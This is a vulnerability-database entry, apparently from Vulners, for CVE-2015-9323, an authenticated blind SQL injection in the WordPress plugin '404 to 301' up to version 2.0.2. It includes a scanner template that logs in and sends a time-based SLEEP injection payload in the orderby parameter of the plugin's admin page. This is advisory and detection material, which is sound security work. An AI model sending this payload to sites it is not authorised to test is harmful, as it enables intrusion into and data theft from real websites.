The 404 to 301 WordPress plugin <= 2.0.2 has an Authenticated Blind SQL Injection, impacting data and site security
Reporter | Title | Published | Views | Family All 8 |
---|---|---|---|---|
![]() | Wordpress Plugin 404 to 301 2.0.2 - SQL-Injection (Authenticated) | 2 Feb 202200:00 | – | exploitdb |
![]() | CVE-2015-9323 | 16 Aug 201921:15 | – | cve |
![]() | CVE-2015-9323 | 16 Aug 201920:12 | – | cvelist |
![]() | 404 to 301 <= 2.0.2 - Authenticated Blind SQL Injection | 22 Nov 201500:00 | – | wpvulndb |
![]() | Wordpress 404 to 301 2.0.2 Plugin - SQL Injection (Authenticated) Exploit | 2 Feb 202200:00 | – | zdt |
![]() | CVE-2015-9323 | 16 Aug 201921:15 | – | nvd |
![]() | Sql injection | 16 Aug 201921:15 | – | prion |
![]() | WordPress 404 To 301 2.0.2 SQL Injection | 2 Feb 202200:00 | – | packetstorm |
id: CVE-2015-9323
info:
name: 404 to 301 <= 2.0.2 - Authenticated Blind SQL Injection
author: Harsh
severity: critical
description: |
The 404 to 301 – Redirect, Log and Notify 404 Errors WordPress plugin was affected by an Authenticated Blind SQL Injection security vulnerability.
impact: |
Successful exploitation of this vulnerability could lead to unauthorized access, data leakage, or potential compromise of the WordPress site.
remediation: Fixed in version 2.0.3
reference:
- https://wpscan.com/vulnerability/61586816-dd2b-461d-975f-1989502affd9
- http://cinu.pl/research/wp-plugins/mail_e28f19a8f03f0517f94cb9fea15d8525.html
- https://wordpress.org/plugins/404-to-301/#developers
- https://github.com/Enes4xd/Enes4xd
- https://github.com/Hacker5preme/Exploits
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2015-9323
cwe-id: CWE-89
epss-score: 0.0071
epss-percentile: 0.80421
cpe: cpe:2.3:a:duckdev:404_to_301:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: duckdev
product: 404_to_301
framework: wordpress
tags: time-based-sqli,cve2015,cve,404-to-301,sqli,wpscan,wp-plugin,wp,wordpress,authenticated,duckdev
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
@timeout: 15s
GET /wp-admin/admin.php?page=i4t3-logs&orderby=(SELECT+*+FROM+(SELECT+SLEEP(7))XXX)--+- HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'duration>=7'
- 'status_code == 200'
- 'contains(content_type, "text/html")'
- 'contains(body, "404-to-301")'
condition: and
# digest: 4a0a00473045022007261050483e64b05e44c9d2ab9e0be72cead9660c60c5acb32e30aeb24a2cd0022100c2a9acb25acc5a78f4a7dafd594df8d9eef8f6b5ca8079b7ea3f0fc4b5d5648c:922c64590222798bb761d5b6d8e72950
Transform Your Security Services
Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.
Book a live demo